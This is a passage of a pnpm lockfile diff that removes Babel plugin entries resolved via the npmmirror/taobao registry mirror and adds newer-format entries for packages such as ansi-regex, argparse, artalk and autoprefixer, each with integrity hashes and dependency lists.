'@babel/helper-builder-binary-assignment-operator-visitor': registry.npmmirror.com/@babel/helper-builder-binary-assignment-operator-visitor/7.16.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + fast-deep-equal: 3.1.3 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + uri-js: 4.4.1 dev: true - registry.npmmirror.com/@babel/plugin-transform-for-of/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-/QZm9W92Ptpw7sjI9Nx1mbcsWz33+l8kuMIQnDwgQBG5s3fAfQvkRjQ7NqXhtNcKOnPkdICmUHyCaWW06HCsqg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-for-of/7.16.7 - name: '@babel/plugin-transform-for-of' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /ansi-escapes@3.2.0: + resolution: {integrity: sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==} + engines: {node: '>=4'} dev: true - registry.npmmirror.com/@babel/plugin-transform-function-name/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-SU/C68YVwTRxqWj5kgsbKINakGag0KTgq9f2iZEXdStoAbOzLHEBRYzImmA6yFo8YZhJVflvXmIHUO7GWHmxxA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-function-name/7.16.7 - name: '@babel/plugin-transform-function-name' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-compilation-targets': registry.npmmirror.com/@babel/helper-compilation-targets/7.17.10_@babel+core@7.17.10 - '@babel/helper-function-name': registry.npmmirror.com/@babel/helper-function-name/7.17.9 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /ansi-regex@3.0.1: + resolution: {integrity: sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==} + engines: {node: '>=4'} + dev: true + + /ansi-regex@4.1.1: + resolution: {integrity: sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==} + engines: {node: '>=6'} + dev: true + + /ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/@babel/plugin-transform-literals/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-6tH8RTpTWI0s2sV6uq3e/C9wPo4PTqqZps4uF0kzQ9/xPLFQtipynvmT1g/dOfEJ+0EQsHhkQ/zyRId8J2b8zQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-literals/7.16.7 - name: '@babel/plugin-transform-literals' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /ansi-regex@6.0.1: + resolution: {integrity: sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/@babel/plugin-transform-member-expression-literals/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-mBruRMbktKQwbxaJof32LT9KLy2f3gH+27a5XSuXo6h7R3vqltl0PgZ80C8ZMKw98Bf8bqt6BEVi3svOh2PzMw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-member-expression-literals/7.16.7 - name: '@babel/plugin-transform-member-expression-literals' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /ansi-styles@3.2.1: + resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} + engines: {node: '>=4'} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + color-convert: 1.9.3 dev: true - registry.npmmirror.com/@babel/plugin-transform-modules-amd/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-KaaEtgBL7FKYwjJ/teH63oAmE3lP34N3kshz8mm4VMAw7U3PxjVwwUmxEFksbgsNUaO3wId9R2AVQYSEGRa2+g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-modules-amd/7.16.7 - name: '@babel/plugin-transform-modules-amd' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-module-transforms': registry.npmmirror.com/@babel/helper-module-transforms/7.17.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - babel-plugin-dynamic-import-node: registry.npmmirror.com/babel-plugin-dynamic-import-node/2.3.3 - transitivePeerDependencies: - - supports-color + color-convert: 2.0.1 dev: true - registry.npmmirror.com/@babel/plugin-transform-modules-commonjs/7.17.9_@babel+core@7.17.10: - resolution: {integrity: sha512-2TBFd/r2I6VlYn0YRTz2JdazS+FoUuQ2rIFHoAxtyP/0G3D82SBLaRq9rnUkpqlLg03Byfl/+M32mpxjO6KaPw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.17.9.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-modules-commonjs/7.17.9 - name: '@babel/plugin-transform-modules-commonjs' - version: 7.17.9 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /anymatch@3.1.2: + resolution: {integrity: sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==} + engines: {node: '>= 8'} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-module-transforms': registry.npmmirror.com/@babel/helper-module-transforms/7.17.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-simple-access': registry.npmmirror.com/@babel/helper-simple-access/7.17.7 - babel-plugin-dynamic-import-node: registry.npmmirror.com/babel-plugin-dynamic-import-node/2.3.3 - transitivePeerDependencies: - - supports-color + normalize-path: 3.0.0 + picomatch: 2.3.1 dev: true - registry.npmmirror.com/@babel/plugin-transform-modules-systemjs/7.17.8_@babel+core@7.17.10: - resolution: {integrity: sha512-39reIkMTUVagzgA5x88zDYXPCMT6lcaRKs1+S9K6NKBPErbgO/w/kP8GlNQTC87b412ZTlmNgr3k2JrWgHH+Bw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.17.8.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-modules-systemjs/7.17.8 - name: '@babel/plugin-transform-modules-systemjs' - version: 7.17.8 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-hoist-variables': registry.npmmirror.com/@babel/helper-hoist-variables/7.16.7 - '@babel/helper-module-transforms': registry.npmmirror.com/@babel/helper-module-transforms/7.17.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-validator-identifier': registry.npmmirror.com/@babel/helper-validator-identifier/7.16.7 - babel-plugin-dynamic-import-node: registry.npmmirror.com/babel-plugin-dynamic-import-node/2.3.3 - transitivePeerDependencies: - - supports-color + /arg@4.1.3: + resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==} dev: true - registry.npmmirror.com/@babel/plugin-transform-modules-umd/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-EMh7uolsC8O4xhudF2F6wedbSHm1HHZ0C6aJ7K67zcDNidMzVcxWdGr+htW9n21klm+bOn+Rx4CBsAntZd3rEQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-modules-umd/7.16.7 - name: '@babel/plugin-transform-modules-umd' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-module-transforms': registry.npmmirror.com/@babel/helper-module-transforms/7.17.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - transitivePeerDependencies: - - supports-color + /arg@5.0.1: + resolution: {integrity: sha512-e0hDa9H2Z9AwFkk2qDlwhoMYE4eToKarchkQHovNdLTCYMHZHeRjI71crOh+dio4K6u1IcwubQqo79Ga4CyAQA==} dev: true - registry.npmmirror.com/@babel/plugin-transform-named-capturing-groups-regex/7.17.10_@babel+core@7.17.10: - resolution: {integrity: sha512-v54O6yLaJySCs6mGzaVOUw9T967GnH38T6CQSAtnzdNPwu84l2qAjssKzo/WSO8Yi7NF+7ekm5cVbF/5qiIgNA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.17.10.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-named-capturing-groups-regex/7.17.10 - name: '@babel/plugin-transform-named-capturing-groups-regex' - version: 7.17.10 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 + /argparse@1.0.10: + resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-create-regexp-features-plugin': registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/7.17.0_@babel+core@7.17.10 + sprintf-js: 1.0.3 dev: true - registry.npmmirror.com/@babel/plugin-transform-new-target/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-xiLDzWNMfKoGOpc6t3U+etCE2yRnn3SM09BXqWPIZOBpL2gvVrBWUKnsJx0K/ADi5F5YC5f8APFfWrz25TdlGg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-new-target/7.16.7 - name: '@babel/plugin-transform-new-target' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} dev: true - registry.npmmirror.com/@babel/plugin-transform-object-super/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-14J1feiQVWaGvRxj2WjyMuXS2jsBkgB3MdSN5HuC2G5nRspa5RK9COcs82Pwy5BuGcjb+fYaUj94mYcOj7rCvw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-object-super/7.16.7 - name: '@babel/plugin-transform-object-super' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-replace-supers': registry.npmmirror.com/@babel/helper-replace-supers/7.16.7 - transitivePeerDependencies: - - supports-color + /array-ify@1.0.0: + resolution: {integrity: sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng==} dev: true - registry.npmmirror.com/@babel/plugin-transform-parameters/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-AT3MufQ7zZEhU2hwOA11axBnExW0Lszu4RL/tAlUJBuNoRak+wehQW8h6KcXOcgjY42fHtDxswuMhMjFEuv/aw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-parameters/7.16.7 - name: '@babel/plugin-transform-parameters' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /arrify@1.0.1: + resolution: {integrity: sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/@babel/plugin-transform-property-literals/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-z4FGr9NMGdoIl1RqavCqGG+ZuYjfZ/hkCIeuH6Do7tXmSm0ls11nYVSJqFEUOSJbDab5wC6lRE/w6YjVcr6Hqw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-property-literals/7.16.7 - name: '@babel/plugin-transform-property-literals' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /artalk@2.5.5: + resolution: {integrity: sha512-35Dq9sOquQQlxvqZhRtZMp9g2SS94ryNEfSJy9BP9yq005CZoC64DTCBI2WBG+pd9YenihfB5QWwa+jfCZ/5Ew==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + abortcontroller-polyfill: 1.7.5 + hanabi: 0.4.0 + insane: 2.6.2 + marked: 5.1.1 dev: true - registry.npmmirror.com/@babel/plugin-transform-regenerator/7.17.9_@babel+core@7.17.10: - resolution: {integrity: sha512-Lc2TfbxR1HOyn/c6b4Y/b6NHoTb67n/IoWLxTu4kC7h4KQnWlhCq2S8Tx0t2SVvv5Uu87Hs+6JEJ5kt2tYGylQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.17.9.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-regenerator/7.17.9 - name: '@babel/plugin-transform-regenerator' - version: 7.17.9 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /artplayer@5.0.9: + resolution: {integrity: sha512-IM/DShYdmKFEA9jl08LYbTK2Jfz9s7qIjEH0xWjnxvVArUKZZKcoqwr6i54U0c4grtc/Uvb4wtCd78kvtSVlgw==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - regenerator-transform: registry.npmmirror.com/regenerator-transform/0.15.0 + option-validator: 2.0.6 dev: true - registry.npmmirror.com/@babel/plugin-transform-reserved-words/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-KQzzDnZ9hWQBjwi5lpY5v9shmm6IVG0U9pB18zvMu2i4H90xpT4gmqwPYsn8rObiadYe2M0gmgsiOIF5A/2rtg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-reserved-words/7.16.7 - name: '@babel/plugin-transform-reserved-words' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /assignment@2.0.0: + resolution: {integrity: sha512-naMULXjtgCs9SVUEtyvJNt68aF18em7/W+dhbR59kbz9cXWPEvUkCun2tqlgqRPSqZaKPpqLc5ZnwL8jVmJRvw==} dev: true - registry.npmmirror.com/@babel/plugin-transform-shorthand-properties/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-hah2+FEnoRoATdIb05IOXf+4GzXYTq75TVhIn1PewihbpyrNWUt2JbudKQOETWw6QpLe+AIUpJ5MVLYTQbeeUg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-shorthand-properties/7.16.7 - name: '@babel/plugin-transform-shorthand-properties' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /async@3.2.3: + resolution: {integrity: sha512-spZRyzKL5l5BZQrr/6m/SqFdBN0q3OCI0f9rjfBzCMBIP4p75P620rR3gTmaksNOhmzgdxcaxdNfMy6anrbM0g==} dev: true - registry.npmmirror.com/@babel/plugin-transform-spread/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-+pjJpgAngb53L0iaA5gU/1MLXJIfXcYepLgXB3esVRf4fqmj8f2cxM3/FKaHsZms08hFQJkFccEWuIpm429TXg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-spread/7.16.7 - name: '@babel/plugin-transform-spread' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-skip-transparent-expression-wrappers': registry.npmmirror.com/@babel/helper-skip-transparent-expression-wrappers/7.16.0 + /at-least-node@1.0.0: + resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==} + engines: {node: '>= 4.0.0'} dev: true - registry.npmmirror.com/@babel/plugin-transform-sticky-regex/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-NJa0Bd/87QV5NZZzTuZG5BPJjLYadeSZ9fO6oOUoL4iQx+9EEuw/eEM92SrsT19Yc2jgB1u1hsjqDtH02c3Drw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-sticky-regex/7.16.7 - name: '@babel/plugin-transform-sticky-regex' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /autoprefixer@10.4.14(postcss@8.4.25): + resolution: {integrity: sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==} + engines: {node: ^10 || ^12 || >=14} + hasBin: true peerDependencies: - '@babel/core': ^7.0.0-0 + postcss: ^8.1.0 dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + browserslist: 4.21.9 + caniuse-lite: 1.0.30001514 + fraction.js: 4.2.0 + normalize-range: 0.1.2 + picocolors: 1.0.0 + postcss: 8.4.25 + postcss-value-parser: 4.2.0 dev: true - registry.npmmirror.com/@babel/plugin-transform-template-literals/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-VwbkDDUeenlIjmfNeDX/V0aWrQH2QiVyJtwymVQSzItFDTpxfyJh3EVaQiS0rIN/CqbLGr0VcGmuwyTdZtdIsA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-template-literals/7.16.7 - name: '@babel/plugin-transform-template-literals' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /autosize@6.0.1: + resolution: {integrity: sha512-f86EjiUKE6Xvczc4ioP1JBlWG7FKrE13qe/DxBCpe8GCipCq2nFw73aO8QEBKHfSbYGDN5eB9jXWKen7tspDqQ==} dev: true - registry.npmmirror.com/@babel/plugin-transform-typeof-symbol/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-p2rOixCKRJzpg9JB4gjnG4gjWkWa89ZoYUnl9snJ1cWIcTH/hvxZqfO+WjG6T8DRBpctEol5jw1O5rA8gkCokQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-typeof-symbol/7.16.7 - name: '@babel/plugin-transform-typeof-symbol' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /babel-plugin-dynamic-import-node@2.3.3: + resolution: {integrity: sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + object.assign: 4.1.2 dev: true - registry.npmmirror.com/@babel/plugin-transform-unicode-escapes/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-TAV5IGahIz3yZ9/Hfv35TV2xEm+kaBDaZQCn2S/hG9/CZ0DktxJv9eKfPc7yYCvOYR4JGx1h8C+jcSOvgaaI/Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-unicode-escapes/7.16.7 - name: '@babel/plugin-transform-unicode-escapes' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /babel-plugin-polyfill-corejs2@0.3.1(@babel/core@7.22.8): + resolution: {integrity: sha512-v7/T6EQcNfVLfcN2X8Lulb7DjprieyLWJK/zOWH5DUYcAgex9sP3h25Q+DLsX9TloXe3y1O8l2q2Jv9q8UVB9w==} peerDependencies: '@babel/core': ^7.0.0-0 dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@babel/compat-data': 7.22.6 + '@babel/core': 7.22.8 + '@babel/helper-define-polyfill-provider': 0.3.1(@babel/core@7.22.8) + semver: 6.3.0 + transitivePeerDependencies: + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-transform-unicode-regex/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-oC5tYYKw56HO75KZVLQ+R/Nl3Hro9kf8iG0hXoaHP7tjAyCpvqBiSNe6vGrZni1Z6MggmUOC6A7VP7AVmw225Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-transform-unicode-regex/7.16.7 - name: '@babel/plugin-transform-unicode-regex' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /babel-plugin-polyfill-corejs3@0.5.2(@babel/core@7.22.8): + resolution: {integrity: sha512-G3uJih0XWiID451fpeFaYGVuxHEjzKTHtc9uGFEjR6hHrvNzeS/PX+LLLcetJcytsB5m4j+K3o/EpXJNb/5IEQ==} peerDependencies: '@babel/core': ^7.0.0-0 dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-create-regexp-features-plugin': registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/7.17.0_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@babel/core': 7.22.8 + '@babel/helper-define-polyfill-provider': 0.3.1(@babel/core@7.22.8) + core-js-compat: 3.22.5 + transitivePeerDependencies: + - supports-color dev: true - registry.npmmirror.com/@babel/preset-env/7.17.10_@babel+core@7.17.10: - resolution: {integrity: sha512-YNgyBHZQpeoBSRBg0xixsZzfT58Ze1iZrajvv0lJc70qDDGuGfonEnMGfWeSY0mQ3JTuCWFbMkzFRVafOyJx4g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/preset-env/-/preset-env-7.17.10.tgz} - id: registry.npmmirror.com/@babel/preset-env/7.17.10 - name: '@babel/preset-env' - version: 7.17.10 - engines: {node: '>=6.9.0'} + /babel-plugin-polyfill-regenerator@0.3.1(@babel/core@7.22.8): + resolution: {integrity: sha512-Y2B06tvgHYt1x0yz17jGkGeeMr5FeKUu+ASJ+N6nB5lQ8Dapfg42i0OVrf8PNGJ3zKL4A23snMi1IRwrqqND7A==} peerDependencies: '@babel/core': ^7.0.0-0 dependencies: - '@babel/compat-data': registry.npmmirror.com/@babel/compat-data/7.17.10 - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-compilation-targets': registry.npmmirror.com/@babel/helper-compilation-targets/7.17.10_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-validator-option': registry.npmmirror.com/@babel/helper-validator-option/7.16.7 - '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression': registry.npmmirror.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/7.16.7_@babel+core@7.17.10 - '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining': registry.npmmirror.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-async-generator-functions': registry.npmmirror.com/@babel/plugin-proposal-async-generator-functions/7.16.8_@babel+core@7.17.10 - '@babel/plugin-proposal-class-properties': registry.npmmirror.com/@babel/plugin-proposal-class-properties/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-class-static-block': registry.npmmirror.com/@babel/plugin-proposal-class-static-block/7.17.6_@babel+core@7.17.10 - '@babel/plugin-proposal-dynamic-import': registry.npmmirror.com/@babel/plugin-proposal-dynamic-import/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-export-namespace-from': registry.npmmirror.com/@babel/plugin-proposal-export-namespace-from/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-json-strings': registry.npmmirror.com/@babel/plugin-proposal-json-strings/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-logical-assignment-operators': registry.npmmirror.com/@babel/plugin-proposal-logical-assignment-operators/7.16.7_@babel+core@7.17.10 - 